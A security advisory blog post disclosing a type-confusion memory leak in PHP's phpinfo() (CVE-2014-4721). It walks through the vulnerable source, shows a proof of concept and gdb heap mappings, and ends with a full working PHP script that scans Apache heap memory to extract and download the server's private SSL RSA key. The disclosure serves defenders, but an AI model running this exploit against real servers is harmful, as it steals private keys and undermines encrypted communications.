A vulnerability in PHP's phpinfo() function allows PHP scripts to read arbitrary strings from memory.

Introduction In the last weeks we have spent some time looking into the PHP source code again, because we were working on new versions of Suhosin, our security extension for PHP. During this time we have discovered some security problems in PHP and disclosed them to the PHP security team, after our initial analysis was finished and POC exploits were developed. Unfortunately the PHP security team did not acknowledge the vulnerabilities or attempt to discuss them, but instead just applied the patches we supplied and released updated versions of PHP 5.4 and PHP 5.5. Unfortunately a security update for PHP 5.3 is not available, although it is the version most affected by the phpinfo() information leak described here. However we already discussed the problem that PHP 5.3 has not received any security updates since December 2013 and how SektionEins can help you with that in another place. In this post we will detail the phpinfo() type confusion vulnerability that we disclosed to PHP.net and show how it allows a PHP script to steal the private SSL key. We demonstrate this on an Ubuntu 12.04 LTS 32 bit default installation of PHP and mod_ssl. Unfortunately this kind of problem is not considered a security problem by PHP.net and therefore this security vulnerability does not have a CVE name assigned to it, yet. (Update: On Sunday, July 6th 2014, CVE-2014-4721 was assigned.) (Update: On Sunday, July 6th 2014, the RedHat Security Team claimed that it is intended behaviour for scripting languages to break out of their VM and have direct access to the process memory and therefore the PHP issue is not a bug: https://bugzilla.redhat.com/show_bug.cgi?id=1116662 - following this argumentation they soon might stop fixing JavaScript vulnerabilities in browsers for the same reason.) (Update: On Monday, July 7th 2014, the RedHat Security Team now claims in the same bug report that it is and it is not a security vulnerability they might fix in a future update.)

The Vulnerability The vulnerability in question is located in the PHP source code inside the file /ext/standard/info.c inside the function php_print_info. The vulnerability is located in the handling of the PHP_SELF, PHP_AUTH_TYPE, PHP_AUTH_USER and PHP_AUTH_PW variables as you can see below: zval ** data ; SECTION ( "PHP Variables" ); php_info_print_table_start (); php_info_print_table_header ( 2 , "Variable" , "Value" ); if ( zend_hash_find ( & EG ( symbol_table ), "PHP_SELF" , sizeof ( "PHP_SELF" ), ( void ** ) & data ) != FAILURE ) { php_info_print_table_row ( 2 , "PHP_SELF" , Z_STRVAL_PP ( data )); } if ( zend_hash_find ( & EG ( symbol_table ), "PHP_AUTH_TYPE" , sizeof ( "PHP_AUTH_TYPE" ), ( void ** ) & data ) != FAILURE ) { php_info_print_table_row ( 2 , "PHP_AUTH_TYPE" , Z_STRVAL_PP ( data )); } if ( zend_hash_find ( & EG ( symbol_table ), "PHP_AUTH_USER" , sizeof ( "PHP_AUTH_USER" ), ( void ** ) & data ) != FAILURE ) { php_info_print_table_row ( 2 , "PHP_AUTH_USER" , Z_STRVAL_PP ( data )); } if ( zend_hash_find ( & EG ( symbol_table ), "PHP_AUTH_PW" , sizeof ( "PHP_AUTH_PW" ), ( void ** ) & data ) != FAILURE ) { php_info_print_table_row ( 2 , "PHP_AUTH_PW" , Z_STRVAL_PP ( data )); } The code above looks up the variables in question in the symbol table and then passes their value to the php_info_print_table_row() function. However it does this without checking first if the variable retrieved is actually a string variable. To understand the problem in more detail let us look at the definition of a ZVAL (ignoring the GC version) and the Z_STRVAL_PP macro: typedef union _zvalue_value { long lval ; /* long value */ double dval ; /* double value */ struct { char * val ; int len ; } str ; HashTable * ht ; /* hash table value */ zend_object_value obj ; } zvalue_value ; struct _zval_struct { /* Variable information */ zvalue_value value ; /* value */ zend_uint refcount__gc ; zend_uchar type ; /* active type */ zend_uchar is_ref__gc ; }; #define Z_STRVAL(zval) (zval).value.str.val #define Z_STRVAL_P(zval_p) Z_STRVAL(*zval_p) #define Z_STRVAL_PP(zval_pp) Z_STRVAL(**zval_pp) As you can see from these definitions accessing the Z_STRVAL of a PHP variable will lookup the pointer to the string directly from the union zvalue_value. Because this is a union for other variable types this string pointer will be filled with different types of data. A PHP integer variable for example will have its value stored in the same position as the pointer of a PHP string variable (in case sizeof(long) == sizeof(void *)). The same is true for the value of floating point variables and the other variable types. In this case only integer (and maybe double values for Win64) are interesting, because they let us choose an arbitrary string pointer. The following little POC code demonstrates this and will make phpinfo() attempt to output a string starting at the memory address 0x55555555, which usually should result in a crash, because that is an invalid memory position. <?php $PHP_SELF = 0x55555555 ; phpinfo ( INFO_VARIABLES ); ?> There are however some limitations to the strings that are accepted. First of all there is a difference in the way output is generated for SAPIs that support text or html output, as you can see below: /* {{{ php_info_print_table_row_internal */ static void php_info_print_table_row_internal ( int num_cols , const char * value_class , va_list row_elements ) { int i ; char * row_element ; if ( ! sapi_module . phpinfo_as_text ) { php_info_print ( "<tr>" ); } for ( i = 0 ; i < num_cols ; i ++ ) { if ( ! sapi_module . phpinfo_as_text ) { php_info_printf ( "<td class= \" %s \" >" , ( i == 0 ? "e" : value_class ) ); } row_element = va_arg ( row_elements , char * ); if ( ! row_element || !* row_element ) { if ( ! sapi_module . phpinfo_as_text ) { php_info_print ( "<i>no value</i>" ); } else { php_info_print ( " " ); } } else { if ( ! sapi_module . phpinfo_as_text ) { php_info_print_html_esc ( row_element , strlen ( row_element )); } else { php_info_print ( row_element ); if ( i < num_cols - 1 ) { php_info_print ( " => " ); } } } From the code above you can see that in the phpinfo_as_text case of the CLI SAPI it is not possible to distinguish between a 0x00 and a 0x20 byte in the output, because empty strings will be printed as single spaces. This might be a problem for leaking data structures in CLI mode. However in some cases it is possible to distinguish between 0x00 and 0x20 by checking the surrounding strings. For the other SAPIs that support HTML output the function php_info_print_html_esc() is called, which is defined as below for PHP 5.4 and above: static int php_info_print_html_esc ( const char * str , int len ) /* {{{ */ { size_t new_len ; int written ; char * new_str ; TSRMLS_FETCH (); new_str = php_escape_html_entities (( unsigned char * ) str , len , & new_len , 0 , ENT_QUOTES , "utf-8" TSRMLS_CC ); written = php_output_write ( new_str , new_len TSRMLS_CC ); efree ( new_str ); return written ; } The problem here is that the output of phpinfo() is forced to be UTF-8 no matter what the rest of the system works with. This means that any string that contains invalid UTF-8 characters will be stripped by the php_escape_html_entities() function from the output. This means for PHP 5.4 and PHP 5.5 only valid string content can be leaked, which makes this information leak unusable for leaking sensitive binary data. However when you go back to the source code of PHP 5.3 you will see a different picture. PHPAPI void php_info_html_esc_write ( char * string , int str_len TSRMLS_DC ) { int new_len ; char * ret = php_escape_html_entities (( unsigned char * ) string , str_len , & new_len , 0 , ENT_QUOTES , NULL TSRMLS_CC ); PHPWRITE ( ret , new_len ); efree ( ret ); } For PHP 5.3 and below the code does not enforce UTF-8 and therefore arbitrary binary content can be leaked, which we will use in the following example to leak the server's private SSL RSA key.

Downloading your SSL private key Because the reported phpinfo() infoleak mostly affects PHP 5.3 we installed an Ubuntu 12.04 LTS system, which comes with PHP 5.3.10-1ubuntu3.12 by default. We also enabled the mod_ssl Apache2 module and added a virtual host with our own demo SSL cert protected by a demo SSL private RSA key. We then attached to the running Apache2 processes with a debugger. root@ubuntu:~# ps -ax | grep apache2 Warning: bad ps syntax, perhaps a bogus '-' ? See http://procps.sf.net/faq.html 11039 ? Ss 0 :02 /usr/sbin/apache2 -k start 11043 ? S 0 :03 /usr/sbin/apache2 -k start 11044 ? S 0 :00 /usr/sbin/apache2 -k start 11693 ? S 0 :00 /usr/sbin/apache2 -k start 11694 ? S 0 :00 /usr/sbin/apache2 -k start 11696 ? S 0 :02 /usr/sbin/apache2 -k start 11697 ? S 0 :02 /usr/sbin/apache2 -k start 11798 ? S 0 :00 /usr/sbin/apache2 -k start 11995 pts/1 S+ 0 :00 grep --color = auto apache2 root@ubuntu:~# gdb GNU gdb ( Ubuntu/Linaro 7 .4-2012.04-0ubuntu2.1 ) 7 .4-2012.04 Copyright ( C ) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu" . For bug reporting instructions, please see: <http://bugs.launchpad.net/gdb-linaro/>. ( gdb ) attach 11694 Attaching to process 11694 Reading symbols from /usr/lib/apache2/mpm-prefork/apache2... ( no debugging symbols found ) ...done. ... 0xb76d2424 in __kernel_vsyscall () ( gdb ) Once attached we figured out the position of the Apache2 heap. ( gdb ) info proc mappings process 11694 Mapped address spaces: Start Addr End Addr Size Offset objfile 0xb5c3c000 0xb63e5000 0x7a9000 0x0 /usr/lib/apache2/modules/libphp5.so 0xb63e5000 0xb63e6000 0x1000 0x7a9000 /usr/lib/apache2/modules/libphp5.so 0xb63e6000 0xb6424000 0x3e000 0x7a9000 /usr/lib/apache2/modules/libphp5.so 0xb6424000 0xb642b000 0x7000 0x7e7000 /usr/lib/apache2/modules/libphp5.so 0xb642b000 0xb649a000 0x6f000 0x0 ... 0xb76f5000 0xb7758000 0x63000 0x0 /usr/lib/apache2/mpm-prefork/apache2 0xb7758000 0xb775a000 0x2000 0x63000 /usr/lib/apache2/mpm-prefork/apache2 0xb775a000 0xb775c000 0x2000 0x65000 /usr/lib/apache2/mpm-prefork/apache2 0xb775c000 0xb775f000 0x3000 0x0 0xb7884000 0xb78c0000 0x3c000 0x0 [ heap ] 0xb78c0000 0xb7a0f000 0x14f000 0x0 [ heap ] 0xbf886000 0xbf8a7000 0x21000 0x0 [ stack ] The SSL private key will be located in the memory marked as [heap]. Of course restarting Apache2 or rebooting the Ubuntu systems will change the address of this heap, but various restarts and reboots ended with the heap starting in the area 0xb7xxxxxx - 0xb8xxxxxx. This might vary for other installations, however guessing this address is only required if you do not have knowledge of other PHP information leaks that leak the address of the heap. We have to assume a skilled attacker has this capability. But in our case we do not care, because the amount of bruteforcing required to guess a valid heap address in front of the SSL key seems small (around 256 tries). Once we have figured out an address of the Apache2 heap in front of the SSL key we can then use the script below to steal the system's SSL private key. In fact, in case of a successful attack the browser will offer us the private SSL RSA key as downloadable file. <?php /* depending on the starting position in the heap this will take a while */ set_time_limit ( 0 ); /* set a starting position for the heap scan */ /* script will crash immediately if trying to access illegal memory */ $starthi = 0xb788 ; if ( isset ( $_GET [ 'start' ])) { $starthi = $_GET [ 'start' ] + 0 ; } /* initialize some stuff */ $i = 0 ; $z = 0 ; $olddata = "" ; $keydata = "" ; /* Unfortunately PHP is problematic when it comes to 32bit unsigned numbers - we have to fake it like this */ $PHP_SELF = ( $starthi << 16 ) | $i ; while ( true ) { $data = "" ; while ( strlen ( $data ) < 4096 ) { /* perform the infoleak */ ob_start (); @ phpinfo ( INFO_VARIABLES ); $var = ob_get_contents (); ob_get_clean (); /* extract the leaked data from output */ $r = preg_match ( "|PHP_SELF.</td><td class= \" v \" >(.*).</td></tr>|mUs" , $var , $match ); /* we need to handle the "no value" case */ $var = $match [ 1 ]; if ( $var == "<i>no value</i>" ) $var = chr ( 0 ); else $var .= chr ( 0 ); /* Ohhh and we need to decode the entities added by PHP */ $var = html_entity_decode ( $var , ENT_QUOTES , "ISO-8859-1" ); /* Append leaked data to output */ $data .= $var ; $i += strlen ( $var ); /* $i will keep the lower 16 bits and $z the upper 16 bits */ if ( $i > 0xffff ) $z ++ ; $i = $i & 0xffff ; /* recalculate next address */ $PHP_SELF = ( $starthi + $z ) << 16 | $i ; } /* we combine the data with the previous data to handle partial keys */ $check = $olddata . $data ; $olddata = $data ; $data = $check ; /* Now check if we have a key candidate */ $position = strpos ( $data , " \x30\x82 " ); if ( $position !== false && $position < strlen ( $data ) - 1024 ) { if ( substr ( $data , $position + 4 , 4 ) == " \x02\x01\x00\x02 " ) { $length = ord ( $data [ $position + 2 ]) * 256 + ord ( $data [ $position + 3 ]) + 4 ; $keydata = substr ( $data , $position , $length ); // Assume an exponent of 0x10001 to really find a RSA key and not a DSA one if ( strpos ( $keydata , " \x01\x00\x01 " ) > 0 ) break ; } } } if ( strlen ( $keydata ) == 0 ) { header ( "Content-type: text/plain" ); die ( "Unexpected error!!!" ); } header ( "Content-type: application/octet-stream" ); header ( "Content-Disposition: attachment; filename= \" server_ssl_rsa_privatekey.der \" " ); echo $keydata ; The image below shows the script in action.